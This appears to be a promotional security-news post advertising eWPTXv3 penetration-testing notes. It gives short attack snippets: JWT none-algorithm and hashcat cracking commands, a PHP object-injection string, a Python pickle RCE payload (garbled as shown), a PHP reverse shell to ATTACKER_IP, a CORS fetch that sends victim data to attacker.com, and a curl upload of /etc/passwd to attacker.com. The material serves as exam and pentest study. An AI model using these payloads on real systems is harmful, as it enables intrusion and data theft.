Listen to this Post
Grab it here: EWPTXv3 Notes
More insights on Medium: Medium
This GitBook is a deep dive into advanced web penetration testing, covering:
✔️ JWT exploitation
✔️ Deserialization attacks
✔️ Web shell handling
✔️ CORS misconfigurations
✔️ And much more
Perfect for:
- Bug bounty hunters
- Red Teamers
- eWPTXv3, OSWE, or CRTO exam prep
You Should Know:
1. JWT Exploitation
Common Attacks:
- Algorithm Confusion (None Attack)
jwt_tool <JWT_TOKEN> -X a -n
- Brute-Forcing Weak Secrets
hashcat -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt
2. Deserialization Attacks
PHP Object Injection:
O:4:"User":2:{s:8:"username";s:6:"attacker";s:7:"is_admin";b:1;}
Python Pickle Exploit:
import pickle, os
class RCE:
def <strong>reduce</strong>(self):
return (os.system, ('id',))
payload = pickle.dumps(RCE())
3. Web Shell Handling
Common Upload Locations:
/var/www/html/uploads/shell.php /tmp/backdoor.php
Reverse Shell (PHP):
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'"); ?>
4. CORS Misconfigurations
Exploiting Improper CORS:
fetch('https://victim.com/api/data', {
method: 'GET',
credentials: 'include'
}).then(response => response.text())
.then(data => fetch('https://attacker.com/steal?data=' + data));
5. Linux Commands for Pentesters
- Network Scanning:
nmap -sV -T4 -A target.com
- File Transfer (Exfiltration):
curl -F "file=@/etc/passwd" https://attacker.com/upload
- Privilege Escalation Check:
sudo -l find / -perm -4000 2>/dev/null
What Undercode Say
The EWPTXv3 Notes is a must-have for serious penetration testers. Mastering these techniques—JWT attacks, deserialization, web shells, and CORS exploits—gives you an edge in real-world engagements. Always test ethically and document findings properly.
Prediction
As web apps grow more complex, JWT and API-based attacks will dominate the next wave of vulnerabilities. Expect more automation tools for deserialization and CORS exploits in 2025.
Expected Output:
- Download EWPTXv3 Notes: GitBook Link
- Follow for More: Medium Insights
IT/Security Reporter URL:
Reported By: Ouardi Mohamed – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
